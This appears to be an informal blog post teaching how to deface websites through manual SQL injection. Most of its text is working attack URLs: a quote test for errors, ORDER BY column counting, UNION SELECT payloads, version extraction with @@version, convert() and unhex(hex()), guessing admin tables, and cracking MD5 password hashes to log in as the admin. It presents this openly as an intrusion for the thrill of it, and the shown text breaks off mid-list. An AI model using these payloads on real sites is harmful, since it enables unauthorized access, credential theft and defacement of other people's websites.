Hi, friends today i m going to tell u about defacing a website.
Defacing a website simply means that we replace the index.html file of a site by our file.
Now all the Users that open it will see our Page(i.e being uploaded by us).
First of all u should have the knowledge of :-
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)
Now, lets come on main topic,our first work is finding the target website.After it:-
1>> Test the vulnerability of the websites.
for example,we have a site like this
http://www.xyz.com/news.php?id=5
Now to test if is vulnerable we add to the end of url ' (quote),and that would be
http://www.xyz.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar that means the Site is vulnerable to SQL injection.
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.
http://www.xyz.com/news.php?id=5 order by 1/* <-- no error
http://www.xyz.com/news.php?id=5 order by 2/* <-- no error
http://www.xyz.com/news.php?id=5 order by 3/* <-- no error
http://www.xyz.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
So we have
http://www.xyz.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .
4). Check for MySQL version
http://www.xyz.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this:-
http://www.xyz.com/news.php?id=5 union all select 1,@@version,3/*
If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
I didn't see any paper covering this problem, so i must write it .
What we need is convert() function
i.e.
http://www.xyz.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.xyz.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version .
5). Getting table and column name
Well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.
In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password.
To crack the password there are three ways:-
1) Check the net whether this hash is cracked before:
After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.
0 Comments